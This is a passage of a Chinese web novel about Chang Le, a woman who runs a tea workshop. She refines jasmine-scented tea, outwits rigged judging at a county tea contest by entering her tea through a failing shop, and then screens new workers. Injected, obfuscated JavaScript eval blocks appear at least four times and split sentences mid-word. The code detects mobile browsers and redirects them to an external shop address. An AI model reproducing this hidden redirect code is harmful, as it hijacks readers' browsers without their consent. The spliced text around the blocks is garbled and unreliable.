说到后面，她的语气逐渐降了下去。诚然，如果只是如此，常娘子犯不着这么大费周章令她们避了人过来单独学。 常乐便将视线落到了程兰心身上，她是这群人中最为细心的。 “想是因为这些花？我看娘子这次用的花少很多。” 常乐赞同地点点头：“正是如此，我们的茶叶皆是五窨，已经是极限，再窨只会破坏茶叶本身的口味。” “但如今这些茶叶毕竟不是新摘的，虽说如今只放了十几日，其清爽之感终究差了一重。” 听到这，刘玉娘忽然拍了个巴掌道：“所以才要在窨一次，但是花又不能放多，且需要品质更好的？” “正是。”常乐赞赏地看她一眼，“除此之外，每次提花究竟需要用多少花，要窨多久，都需要依据最终一窨后的状态而定。” 说完，她就看着面前的四人，后者仿佛察觉到了她传达的意思，眼中皆是昂扬的斗志。 常乐细讲了如何从色、味等方面判断需要加多少茉莉花，便令她们自己上手。 如此便是一整夜，提好的茶叶复火干燥，又泡了一壶试饮。 “真的！”喝到的四人目光灼灼。 “果然香味更浓，却又不夺茶叶原本的清香，真的比原来的贡茶更好些。” 说到贡茶，众人忽然收了声，尴尬地看向常乐。 杨初月怯声道：“娘子，我们这茶比贡茶还好些，若是林大人知道了，不会怪罪吧？” “春日的茉莉是达不到如此品质，当时我纵提出来了也无济于事，况且，只说我们是新研制出来的，他如何怪罪？” 常乐说完，刘玉娘立刻接话：“就是！月娘子也忒小心了些，是贡茶耽误不起时间，如果他要这新花茶的话，来年便晚些敬上去咯！我们娘子献上茶方，本就解了他的大麻烦了，他怎好再怪罪！” “话也不是这么说。”常乐止住了刘玉娘的话，“若不是林大人从中周旋，我们也难以有自己的作坊。” 刘玉娘便不再说话了，常乐再嘱咐得两句就令众人都散了。 “累了整夜，都回去休息吧，早饭应该也做得了，最好垫垫。” 回到房间，香儿就迎了上来。 “娘子累坏了吧，热水一直温最着呢，用点早饭便睡吧。” 常乐点头，香儿就下去忙了。 虽然出了控茶司，但常乐觉得香儿伺候得好，问过她本人的意见后便向林牧川要了她。 粥是鸡丝粥，里面还放了她喜欢的枸杞，点心是桃花米糕，浓郁的米香味中带着桃花的清香，又是粉嫩的颜色，看着小巧可人，她便没忍住多用了几个。 香儿便笑：“红婶也是得了娘子的妙处，娘子在茶叶里掺花，红婶便在米糕里掺花。” “你若喜欢，便去求一求红婶，她保管做一车给你吃。” 香儿跟着常乐久了，大致摸清了这位主子的性情，虽然在大事上说一不二十分霸道，但平常还是喜欢玩闹的。 听了这话也不觉如何，只接口：“那奴婢可吃不完，” 虽只是初夏，但天气却一日胜过一日，常乐歇得三个时辰便醒了，起来就觉身上热得难受。 沐浴过后，叫人摆上冰山，她才觉得畅快些。 离晚饭还有些时候，刘玉娘等私人还未起，碧桃同绣云也睡得正香，她便将手札拿出来再看一遍。 这手札是她道控茶司以后就开始写的，上面记载着许多应当注意的事项，未避免被人看到，她用了些自己才知道的符号。 翻到记载的一个月前的日期，上面就写了那时自己应当跟林牧川提一句，在收茉莉花的同时，多收些春茶制作茶茶坯。 用的理由也是夏季茉莉花开得更好，香味更浓郁，春茶夏花，如此搭配才更显滋味。 控茶司掌上贡与茶叶对外邦的售卖，前者固然重要，但后者也不能轻视，尤其是售卖所得直接入国库，算是国朝经济所系。 常乐还记得某次某地控茶司未及时上交足量的银子，父皇将担了干系的一批人皆定了处罚。 茉莉花茶前所未见，对外售卖定然也能提出高价，控茶司今年所需上缴的贩茶银子就不那么紧张了。 也因此项提议，常乐从林牧川处换了五十担茶坯，这个数额对龙芽坊来说已经足够。 至于提花的步骤，她并不打算透露给对方，这将是自己能在下一次斗茶大会中胜出的关键。 常乐翻过几页，视线落在了最近记载的斗茶大会四个字上。 这是庆丰县历来的传统，忙碌的春季过后，夏季的茶叶品质下成，味多苦涩，因此夏季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604766|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制茶往往不多。 得了空闲的作坊坊主们便兴起了斗茶的乐趣，每一个作坊可推自家的新茶去斗。从一贯的现实来看，胜出的茶叶普遍能其他的茶叶多卖上价格。 这次斗茶大会，常乐是必要拿下魁首的。 不仅是为了多出来的价格，更是需要凭借这一次的出彩将龙芽坊的名声打出去。 虽则按规矩来说，品茶人是不会知道杯中茶叶到底是出自那家作坊，但常乐也不相信其中一点暗箱操作也无。 也许不至于到事先便定好魁首的地步，否则这斗茶大会在庆丰县也不至于传承如此之久。 但暗地里踩下一家小作坊却是十分简单的，尤其是龙芽坊。 需得想一个稳妥的法子才行。 如此思索者，日头渐西，已到了晚饭的时间，香儿问过以后摆上饭菜，常乐吃得几口忽然蹙眉。 “香儿，这道菜用的可是子鸡熬制的鸡汤？” 香儿闻言看过一眼，回道：“娘子，这是鸽子汤。” 常乐闻言，顿觉胃中一片翻腾，一股不可名状的恶心感直冲咽喉。 她捂着嘴急冲冲地想找个地方吐，一旁的香儿早眼疾手快地递过来一只痰盂。 “娘子，你这是怎么了？可是着凉了？”、 香儿一边为她抚背后，一边又是递水给她漱口，一边拧了帕子过来擦嘴。 闹腾了一番后，常乐不敢再看桌上，只令香儿赶紧将饭菜都撤下去。 再面对对方的询问时，她才说：“无事，只是我吃不得鸽子。” “可是……”常乐斟酌着开口，“那道菜一直用的就是鸽……这个汤啊。” 常乐蹙眉，又问：“这道菜一贯的方子便是如此么？不是红婶擅自换了？” “一贯如此的。” 见对方眼神笃定，常乐便信了这话，况且，一道菜而已，也犯不着为了这个骗自己。 “娘子，可是有何不妥？”香儿担心地问。 “无事，我只是吃不得鸽子罢了。” 见对方欲言又止，常乐也知对方心中的疑惑，但她却不愿再多说。 香儿失识趣地未再开口，只是劝她再用些别的，毕竟只吃了几口。 但她此刻却已经什么都吃不下了，便挥手让对方下去了。 而后，她便陷入了沉思。 不吃鸽子，那是因为幼年在宫中时她曾养过一只鸽子，十分珍爱。 某次，深受宠爱的三皇子过来找她玩乐，过得一会就留她用膳，还一直叫侍膳太监为盛其中一碗汤。 那完汤鲜美非常，她也从善如流地喝了三碗。 直到那日晚间，她才得知，那汤留炖得就是自己心爱的鸽子。 愣了许久后，她开始昏天黑地地吐，甚而重病一场。 但三皇子，却只是被父皇训斥了两句，据说连重话都不曾说，仅得了“以后不可这样胡闹了”几个字。 胡闹么？纵使过了十几年，常乐如今回忆起来，双唇依旧不可遏制地颤抖。 她其实并不记得鸽子汤该是什么味道了，但方才那道汤的味道却十分熟悉，那是她的母妃在她每次身子不舒服时都要吩咐小厨房做的。 但当时，母妃跟她说，这是子鸡汤。 “母妃……”常乐在心中默默念着这两个字，眼角的泪珠悄然滑落。 时至今日，女儿知您的一片良苦用心。 擦过泪，她想着到窨花室去看看，忽然，心中一念头闪过。 她勾起嘴角，让香儿去唤季念柔过来。 12. 斗茶 转眼便到了斗茶大会，因天气愈发炎热，便选在了室内开办。 阔大的厅堂中列了上百的席位，庆丰县内所有的作坊坊主均会到场。事先说定参与斗茶的坊主列席在右，其余则在左。 左边席位的坊主便充作品评者，逐一品过呈上来的茶，再给出上中下三等评价。 为表公平公正，品评者在品茶时是不知道这茶出于哪家作坊的。 斗茶厅堂的隔壁偏厅里，常乐好整以暇地抿着杯中的茶水。 依照惯例，斗茶大会由斗茶拔得魁首的作坊操办，这次茶水自然也有他们提供。 茶是好茶，入口鲜香，醇正平和，就是少了分令人眼前一亮的口感。 此处乃是甘露坊所在，这坊主便是此前与自己有过口角官司的张诚，不知这次他是否会再次参加。 偏厅里不断有坊主进来，厅内的八仙桌几乎围坐满员，只自己这方桌子上还未曾有人过来。 无论是顾及这男女大防，还是不想得罪张诚，常乐都不甚在意。 作为第一位女坊主，她深知需要面对的排挤这才是开胃菜而已。 再过得一刻钟，张诚便来请诸位入席就坐，常乐明显感觉对方的视线从自己身上转过。 行至会堂内，常乐刚想就坐，就听有人开口。 “常娘子慢来。” 她回过头去看，就见张诚面带微笑，伸手一指道：“在下特地为常娘子留了座位。” 顺着手指的方向去看，那里摆着一个套独立的桌椅，与旁边紧密挨着的席位相去甚远。 “毕竟男女有别，还请娘子不要嫌弃。” 常乐便笑：“鳌头独占，张坊主既然将这么好的意头让与我，那就恭敬不如从命了。” 说罢，她便施施然走了过去。 她心中暗笑，张诚如此行径，不过是想将自己孤立出来而已。 但单独列席这样的动作杀伤力未免太小，若是在此前，他能让自己入不得这斗茶大会，常乐才要高开他一眼。 可他做不到，自己头上顶着控茶司茗香坊贡茶参谋的名头，这龙芽坊又是林牧川首肯的，他们不敢得罪。 自己的女子之身本就特别，本无需他如此强调孤立，众人待她天然就有偏见，一处坐席罢了，她本就不想与他们为伍，她只关心这最后的魁首之位。 众人坐定，张诚一声招呼，便有人抬了一个桌子摆到了两侧席位的中间。桌上摆着一小袋茶叶，一只茶杯与两本陆羽的《茶经》。 张诚抱拳环视一圈示意，道声献丑，而后从袋子里抓了一把茶叶往杯中掷去，有些茶叶落在桌上，有些则落到了杯中。 守在一旁的人卷起衣袖，朝众人展示过双手后，端着茶杯的下端抬起。另一人随即上前将桌上的茶叶收回袋中，又拿出一块白布展示过后铺在桌上。 准备完毕，端着茶杯的人将被子倒扣在布上，一一将茶叶在布上排好，而后大声喊道：“寒松银针一十五枚。” 右侧席上十五座次的人起身，施过礼后站到中间的桌旁，他拿起其中一本《茶经》一翻，报出其中的第一句话，片刻后才有人答道：“这是第二十四页。” 二十四席次上的人起身，十五坐席哪位坊主将《茶经》递过去以后，就被人指引着往后堂走。 如此一共选了无人退到后堂后，张诚令人将桌子抬下去。他在首席上坐定以后，拍了拍手，立刻就有浓妆艳抹的女子上来献舞。 这也是斗茶会历来的章程，为避免营私舞弊，会以如此方式选出五名参加的坊主到后堂共同决定上茶的先后顺序。 为了确保选人时的公平，所用那本《茶经》中的句子是错乱的，每年请几名识字的人将书中句子打乱抄写，最终选用哪两本也是不一定的。 当翻书的坊主将那页中的第一句念出来时，会有另一人对照另一本不同错乱的书进行找寻，最终根据页码确认席位。 如此多方保障下，最终送到左侧品评席位上尝到的茶叶的顺序就是不定的。除非有人事先收买了大半的品评者，让他们熟悉自己所送品的茶味，否则，很难出现不公之事。 但，任何规矩都不是毫无破绽的，尤其是当所有的参与者都针对你的时候。 常乐不动声色地看着品评席上众人闻香、观色、品茶的动作，猜测着自己定下的季某是否会有用得上的可能。 前面一十六坊的茶叶试过以后，侍女将第一十七号茶叶捧了上来。 烫壶、温杯、投茶、洗茶、冲泡、出汤……又是一套看惯了的流程。 不需品尝，只通过这熟悉的香味，常乐便认定这就是自己的茶叶。虽然此次送品的茶叶中有许多也是茉莉花茶，更兼有添加了其他花的花茶。 但最后用上品茉莉花提过一次的花茶与其他的香气还是有略微不同，她不知旁人是否能察觉，但她是能闻出来的。 一番品评过后，依照品评者给出的上中下三等的数量来排，这茶此刻排在第十名。 “第十七号茶叶，五枚上签、三十五枚中签，十三枚下签，排名第十。” 张诚将手中的纸条大声念出，再亲自将装了十七号茶叶的袋子放到了一旁的架子之上。 常乐心中了然，他们果然是在联手打压自己。 她能察觉到四面八方皆由视线落到自己身上，这些人是说定了将自己的茶叶定在十七号吧。 不过，我还没有输，我们拭目以待。 再品过几种茶叶，一直到了第二十五号茶叶，通过香味，常乐便知这是清泉坊的茶叶，同时也是自己的茶叶。 庆丰县以制茶闻名，参与其中的人自然对茶的优劣有所把握，她坚信在没有其他干扰的情况下，这些坊主是能选出真正的好茶的。 故此，在不确定他们会不会因为自己身为女子而针对龙芽坊时，万全起见，她让季念柔去找了一家即将歇业倒闭的茶坊。 季念柔虽然不管茶坊的事情，但她父亲是知道的。通过她父亲季明，常乐选定了一家茶坊。 商定价格以后，对方愿意用龙芽坊的茶叶去参加斗茶大会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612439|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了防备对方之后出尔反尔，常乐与之签订了契书。虽然这契书多少有点防君子不防小人，但常乐对他是否为这件事守口如瓶并不在意。 只要最后是自己的茶叶拔得头筹，这点手段揭露出来打的只能是张诚这班人的脸。 同样的茶，品评出来的差异却如此之大，这斗茶大会的公正性就要受到质疑。 不一会儿，这第二十五号茶叶的品评就已结束。 张诚拿着单子开始念：第二十号茶叶，三十四名枚上签、十三枚中签、六枚下签，排名第一！“ 此话一出，犹如一石激起千层浪，左右席位上的坊主皆开始交头接耳。 不怪他们惊叹，能有这个结果是常乐自身都未曾想到的。 这上签的数量比现下的第二名多了十枚，后面也不剩几号茶叶了，如无意外，这二十五号就是妥妥的魁首。 一时间，众人皆在猜测这二十五号茶叶究竟出自哪家茶坊。 “这么浓郁的茉莉花香，不用说也是出自那几家习得了茉莉花茶制作的作坊吧。” 这话一出，众人的视线就看像原本与控茶司签了契书的几家小作坊，当然也有人往常乐这边看，但却只是匆匆扫过就避开。 她心中暗笑，有些人的城府未免太浅了些。 余下茶叶品评依旧有序进行，期间除了一个力压其他排到了第二，其余的皆是平平。 到了最后宣布魁首之时，众人皆翘首以盼，都看着张诚手中的卷轴。 张诚像众人示意之后，打开卷轴，他先是蹙了一下眉，然后才将其念了出来。 “魁首二十五号茶，乃是清泉坊所制甘泉香。” 此言一出，满室的惊诧声响起。 “清泉坊？那个清泉坊，怎么从来没听说过？” 此时，清泉坊的坊主周清忽而站起身来，哽咽地说着自己终于制出了好茶。 众人狐疑地望着他，但看他如此激动的神情却也不知说些什么，于是就开始催促张诚将茶袋分下来。 为示公平，斗茶结果出来后，会将茶叶交到原坊主手中，最后分辨是否真为自己茶坊所出。 常乐接到茶袋后便知果是自己的茶叶不假，但也学着旁人将袋子打开，取出茶叶观察形态。 正此时，张诚提了一壶热水过来道：“常娘子，实在可惜，你辛苦制出的茶叶竟只排在十二位。” 常乐便笑：“我乃是第一次开坊制茶，能得十二名已是心满意足，排在我之后的可还有许多是做老了茶叶的。” 说着又刺对方：“就是张坊主，你甘露坊所出的茶此次不也只排在第四吗？如此大的作坊，怎么倒叫一个名不见经传的小作坊压了下去？” “你！”张诚自知说不过对方，于是皮笑肉不笑地开口：“娘子这回未得魁首，足见你那方子也不过如此，哄得了林大人，可骗不到我们！” 这话就说得过于恶心了，常乐刚准备回他，就听见席上忽然响起一声大喊。 “这！这不是我的茶，不是甘泉香！” 13. 魁首 一时间人，上百人的厅堂内落针可闻，众人纷纷看着那位高扬着茶叶袋子的坊主。 这袋子是主办此次斗茶大大会的甘露坊所制，三天前送到每一家参与斗茶的茶坊，以此保证从外观上看不出是哪家作坊的茶叶。 用这茶袋装了以后，外面再套上一层绣了作坊名称的袋子，便也不至于分不清。 这么多年来，从未出过弄错的情况，他这一嗓子喊出来，作为主办的张诚瞬间黑了脸。 “这位坊主，你说这话可有凭证？” 周清立刻接话：“怎么没有凭证，我家甘泉香长这样！” 说着，他从怀中掏出一个小香囊，从中取出一枚茶叶，另一只手从袋中也取出一枚茶叶放在一起高举过头顶。 挨得近些的人立刻喊了出来：“确实不同，” 纵使是如常乐这般相隔较远的，也能轻易从外观上看出不同。 从袋中取出的那枚茶叶条索细紧、呈青绿色，而从香囊中取出的那枚则外形紧结，呈青褐色。 “这怎么可能？”张诚疾步迈步过去，将两种茶叶细细比过，口中皆是不可能三字。 “怎么不可能！”就是你弄错了我的茶叶，你说！我的茶叶被你调给谁了？” 眼见着事态有闹起来的趋势，周围的坊主皆开始劝。 “张坊主不是这样的人，这其中是不是有什么误会？” “对呀，就算要使手段那也不会将一个可夺魁首的茶叶换给你啊。” 众人都应和着，周清却不理这些，他疾言道：“是不是魁首我不管，但换了我的茶，那就不行？！” 这话说得许多人神色变化，常乐看很多人已经开始看了看周清手中的茶，又看看自己手袋子里的。 这是想要说那夺得魁首的茶是自己的吗？她心中暗笑。 不过最终还是无人犯这个蠢，没有人站出来说是和自己的茶叶拿错了。 就在争执期间，忽听得一人说：“会不会是你自己拿错了？你坊内不可能只有甘泉香这一种茶吧，或许是你在放的时候拿错了？” 这话本不过是白说一句，如此大会，怎么出现这样的差错。 但这句话却让周清忽然停下了与张诚的争执，只见他眉头紧皱，又看了看袋中的茶，然后恍然大悟般开口。 “我想起来了，这茶不是我的，是龙芽坊的满枝春！” 此话一出，在坐众人愕然，常娘子今日参会所带的茶叶不就是满枝春吗？ “就是这样！”周清解释。“我素与瑶草坊的季明坊主交好，不满于他竟然将作坊赁与一名女子，那日我喝醉了，便去了他的住处与他理论。” “我也不知道我到底说了多久，但季坊主却并未说什么，只是泡了一杯茶，喝过以后顿觉唇齿生香，我赶忙问他这是什么。” “他说这是满枝春，是龙芽坊的常娘子所制，我顿时就不敢再说了，只央求他匀了我一半。” 周清举起那茶袋晃了晃，又说：“那日正好在路上碰到甘露坊送袋子给我，我顺手就将满枝春放到了这袋子里。” 后续大家也都能猜出来了，清泉坊送错了布袋，将满枝春当作自己甘泉香交了上去。 众人的视线全落在了常乐身上，但却无一人开口。 见台子已经搭好了，她便起身将自己的茶袋提了过来，打开与周清手中的茶叶一比对，一目了然。 “真可谓无巧不成书。”常乐笑道，“怎么同样的茶叶，一袋夺了魁首，一袋只排在十二呢？” 一面说，她一面盯着张诚，后者脸色铁青，咬牙切齿地说不出一句话。 既然他不说，那就自己来说吧，她作势各闻了闻两袋茶叶的气味，又各泡了两杯呷过，方道。 “我说呢，原来如此。”她将两袋茶叶都递到张诚面前，“张坊主可要给坊内做工的紧紧弦了，我这袋满枝春都潮了，难怪几十名品评者喝过后，只排在了十二位。” 张诚接过两袋茶叶，凑近嗅了一瞬，然后抬眼往品评者的席位扫了一眼，半晌他才咬着牙开口。 “实在抱歉，是我甘露坊办理不力，不慎让娘子的茶叶受了潮，在此给娘子赔罪。” 看着对方低下去的头，常乐胸中堵着的一口气总算舒畅，她赶紧上前虚扶一把。 “张坊主这是做什么？不过是一件小事罢了，某可受不得您行这么大的礼。” 出了这么个事情，大会后续的进程中除了常乐其余人皆没甚好心情。 当然，那位周清可能要除外，他看上去十分得意。 常乐原来找他时，仅仅只是因为他的清泉坊已经回天乏术，他本人也不知制茶的料子，他手中所谓的甘泉香就比劣茶的口味好一些。 他早再半年前就已遣散坊内匠人，一月前还与临县的堂兄说好，过几日就要结伴南下另寻其他的活计。 常乐给了他二十两银子，足够他一路上的消费，又承诺事成后再给他二十两。 他现在估计是为着这白拿的四十两银子高兴呢。 常乐当然也觉这钱花得值，这一场大戏着实好。 厅堂正中央，常乐与张诚并肩而立，前者眉眼间尽是畅意，后者面色沉郁却又逼自己带出笑意来。 大门口，四人抬着一块匾额走了进来，到二人面前才停下。 张诚不情愿地从一旁地人手中接过笔砚，开口：“请常坊主描金。” 常乐谢过后，那起毛笔蘸了砚台中的金漆，一点点将匾额上的“斗茶魁首”四个人描上新色。 这块匾额用料考究，到如今已百余年，风吹雨打却未曾开裂、腐朽。 每年到斗茶大会时，都要拿出来重新上一遍漆，而后再由夺魁的坊主为其上的题字描金。 匾额抬下去以后，又有人捧出一本册子，张诚翻开后，由常乐在“第一百二十届斗茶魁首”处写下“龙芽坊、满枝春、常乐”几个字。 “诸位。”常乐对着席间众人揖首，“多谢诸位捧场，为酬谢诸位，龙芽坊将于三日后设宴，届时将以满枝春相待，还望诸位不要嫌弃！” 一席话说完，这次斗茶大会算是收了尾。 走出大堂，行至大门倒坐的五间房前，一眼就看到季念柔从中间的房内奔了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613123|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们的满枝春夺魁了？” “是的，我们夺魁了。”听得这一句，就见她欢呼一声，然后亲昵地拉着常乐往外走。 “这下可好了，龙芽坊从此就算是在庆丰县站住脚了。你不知道，我们家的瑶草坊还是在我太爷爷手中才夺过一次魁首呢。” 登上马车，一路回到了龙芽坊，夺魁的消息早已传了回来。 常乐的马车才驶进道口，坊内的匠人就都拥了过来。 “娘子，他们说我们夺魁了，是真的吗？” “娘子，事我们龙芽坊的满枝春夺魁了是吧？” 常乐一一回答了，又说：“这段时间大家都辛苦了，这个月每个人都加一两银子的赏钱。” 这话又在匠人中掀起一阵叫好声，眼看着拖车的马被众人围着有些不适，常乐只好下了车，与众人一道步行回坊。 这一夜自然小小庆贺了一番，还让季念柔将季明也喊了过来。 第二日，众人皆起得晚了些，常乐才睁开眼睛，就听见外面吵吵嚷嚷。 “香儿，外面出什么事了？” “回娘子，是坊外有许多人在喊着要到我们坊内做工。” “什么？”常乐一听立刻起身，随手披了件衣服就要往外走。 “欸，娘子，娘子您还未洗漱呢，好歹穿件衣服再出去啊。” 她一路走到二门墙上的窗口处，果见刘玉娘冲着紧闭的大门喊：“我们暂要不了这么些人，且我们龙芽坊只聘请女子，男人们就请回吧。” 刘玉娘的话并未起到作用，门外仍旧吵嚷着，常乐看着那时不时动一下的门闩，就怕它会不会突然掉下来。 香儿此时已经将衣服带了过来，她三两下穿好好，就令对方去叫季念柔。 刚说完，就见一道红色的影子在半空飞过。季念柔已经站在了外墙之上。 “是谁这么大胆敢撞龙芽坊的大门！” 她这一吓，外面果然安静了下来，常乐见状便叫人打开了大门。 刘玉娘等人有些担忧，但也不敢多劝，只得上前将门打开。 外面站了大约有二十余人，男女老幼皆有，见门打开了就想往里闯，然后就被一杆红缨枪阻住了去路。 常乐赞赏地看了一眼季念柔，然后开口：“诸位，我们龙芽坊只聘请女子，这几位兄弟可以离开了。” 那些男人想冲上来理论两句，就见银枪一挑，直指自己的面庞，便也只得悻悻而去。 “常娘子！”人群中忽然响起一个熟悉的身影，常乐循声去看，见到一个面容熟悉的女子。 一旁的刘玉娘适时开口：“娘子，这是姚霜儿。” 对，姚霜儿，那个没有跟着来龙芽坊的女匠人，她旁边跟着的另外两个人好像也是在东院里做过工的。 “常娘子，是我，姚霜儿。” 她脸上如火烧一般红，这些人推她出来说话，可能也是因为她们中只有姚霜儿与自己说过几句话吧。 另外的人她也确实只有个大概的印象了，并不记得名字。 “你们也是想来做工的？”常乐问她。 14. 底细 这话一出，姚霜儿的脸更红了。 还是旁边的另一名女子开口：“常娘子，当初是我等有眼不识泰山，还望娘子不计前嫌收下我们。” 常乐心中其实并未怪她们，毕竟她们当时也想不到自己能做好，如今她们肯再来，也算是证明自己确实做到了让人敬服的地步。 心中虽然不怨恨，甚至有些欣喜，但她在面上却不能露出来。 “既然想到我龙芽坊来做工，那就得按规矩来，先到门房处报上姓名年龄等，三日后再来，龙芽坊还得考校诸位。” 众人便问考校的内容，常乐只说是与茶叶和制茶相关的内容。 总算打发了众人以后，刘玉娘就试探着问要如何考校。 常乐捏着眉头无声叹息，才道：“考校只是其次，重点是我们要防着她们是不是别有所图。” 一直沉默的程兰心此时接话：“娘子是说，她们想要打探我们的方子？” 常乐点了点头，又说：“可能不仅如此，就算打探不到方子，在茶叶里添点东西也够让我们喝上一壶的。” 树大招风，夺了魁首后自然名声大躁，能让龙芽坊在庆丰县站稳脚跟，但也因此会惹来更多的妒忌。 不可能因为害怕进来的人是探子就从此不再聘人进来，龙芽坊想要扩大，匠人是必须要有的，所以也只能尽量在人进来前最大限度保证她是可信的。 可要如何打探呢？常乐再次感到了在此地没有人脉关系的束手束脚。 也不知道林牧川现在到哪儿了，如果他在的话，自己还可以请他相助，现在只能想其他的办法了。 粥已经被她搅得不成样子了，一旁伺候的香儿赶紧上前止住她的动作。 “娘子，再搅就吃不得了。” “哦。”她回过神来，看了眼快成糊糊的粥，“撤了吧，我用点芙蓉糕就行。” 香儿依言将粥端了下去，回来时又看到常了手里捏着一块芙蓉糕发愣。 “娘子。”香儿伸手将芙蓉糕轻轻拿了下来放到盘子里面，“娘子可是在忧心纳新匠人的事。” 常乐闻言打量着香儿，这个娇俏的小丫头伶俐能干，但却从不多话，这也是自己将她要了过来的原因。 此刻开口，想必是有自己的想法，于是她尝试着问：“新的匠人进来后不堪用倒不是问题，我只怕她们手脚不干净还用心不良。” 然后就见对方笑了，香儿起身施了一礼道：“如果娘子信得过奴婢，奴婢倒有方法可探知她们的底细。” 常乐眸光一闪，赶忙问：“你说说看。” “娘子忘了，我本是在县老爷府上伺候的，在那边也算和几个老妈妈说得上话。” 听她这么一说，常乐恍然大悟。要说谁对这周围的女子的底细了解清楚的，这些老妈妈可谓首屈一指。 就算是原来在宫中时，想要知道各宫里的动静，也得问那些老嬷嬷。 这些老妈妈和老嬷嬷长久地做着与人交际事情，哪个人和哪个人能曲里拐弯地扯上关系，她们再清楚不过。 “香儿！”常乐拉着她的手感叹，“我真是没想到这上面去，你真是为我解决了一件大事！” 香儿也是喜上眉梢，她微笑着说：“娘子以一己之力让我们女子扬眉吐气了一场，这些我能使得上力的地方，怎么不尽心呢？” 辟出东院、开设龙芽坊，甚至于昨日得了魁首常乐都未像现在这般心头猛跳。 她压住激动的心情，对香儿说：“以后，我们以后只会做得更好！” 香儿点头，眸光闪烁：“我相信娘子！” 有了香儿寻来的那些老妈妈传出来的消息，说定的宴席过后的一天，常乐在面对过来考校的人时心中便有了充足的底气。 对应着圈出可疑的名字，叫程兰心和刘玉娘在考校中寻个理由将人黜落，因皆是在房间里单独考校，也不怕有人看出标准不一。 一直忙到午后，排除掉有嫌疑和实在不堪用的人，剩下的还有十余人，常乐留了她们一顿午饭，令她们三日后再来， 歇过晌后，常乐独自进了自己院子的库房中。打开库房内一个隐藏的隔间，她翻了翻摆在当中的茶叶。 这些茶叶中，混合的不仅有茉莉还有玉兰。 自龙龙芽坊开设以来，常乐每隔一段时间就要购置些其他的花进来，匠人们皆猜测是为了研制新的花茶，常乐也没说不是。 但她所要的其实只有玉兰这一类，为了确保在斗茶会上能胜出，她亲自在提花的步骤中添加了玉兰。 玉兰的气味可衬托出茉莉的清香，使茶香更浓郁、清透，只是现在还不到能告诉她们的时候。 上次将提花一事告知四位领班，她想看有哪些下面的匠人会想着法子打听，也是想知道这四位领班究竟会不会信守承诺。 如今看来，四位领班皆可托付，未曾向其他人透露过提花之事，但有些察觉到不对的匠人已经开始心思浮动了。 当然，这些人当中不是所有人都包藏祸心，但常乐也要确保她们打探消息不是为着些不可高人的事情。 得出这一批茶叶已经提花好了以后，她动手将茶叶筛拣了出来。 这一批茶叶与送去参加斗茶大会的茶叶又有不同，她从茶坯开始就全程亲自制作，如今已经试出最好的配比，就看找一个什么时机告诉那四个人了。 入夜，常乐正在房中用饭，忽然听到红婶急切的声音由远及近地传了过来。 “香儿，去看看怎么回事。” 才刚转身，香儿就与急冲冲赶来的红婶撞在一起。 “哎哟，红婶您慢着点儿。” “实在对不住。”红婶只丢下这句话，连看都未曾看香儿一眼，就直冲到常乐面前。 “娘子，求您帮我找找绣云，她不见了！” 常乐愕然起身：“怎么回事？”红婶就将来龙去脉说了一遍。 早先时候，绣云忙过茶叶上的事就求红婶说想到街上逛逛，红婶耐不住她的磨缠就同意了，万般叮嘱一定要赶在晚饭前回来。 绣云应下以后就拉着红婶将自己送到门口，这是常乐的规定，除了定好的休沐日期，匠人们中途要出去，都需要有人担保，为的是防止人私下将方子透露出去，也防止有人不见后不知道去哪儿了。 至于绣云，因为年龄小，又由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617850|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲娘在身边，就特地吩咐了只能由红婶送到门口，门房才可放行。 因此，红婶将人送到门口，目送她走出街口才回到厨房准备晚饭。 如今一个时辰过去了，众人晚饭吃到一半了绣云却还未回来。 红婶这下慌了，又想着光靠自己一个人恐怕力量薄弱，就来求常乐。 常乐问言就往外走，边问红婶？：“可翻找过绣云的床铺。” “只取看了看，发现她不在里面我就出来了，倒是不曾翻床铺。” “那就先去看看。” 绣云本是与红婶住一间的，但孩子长到十岁往上就不太愿意与母亲共睡在一个房了。 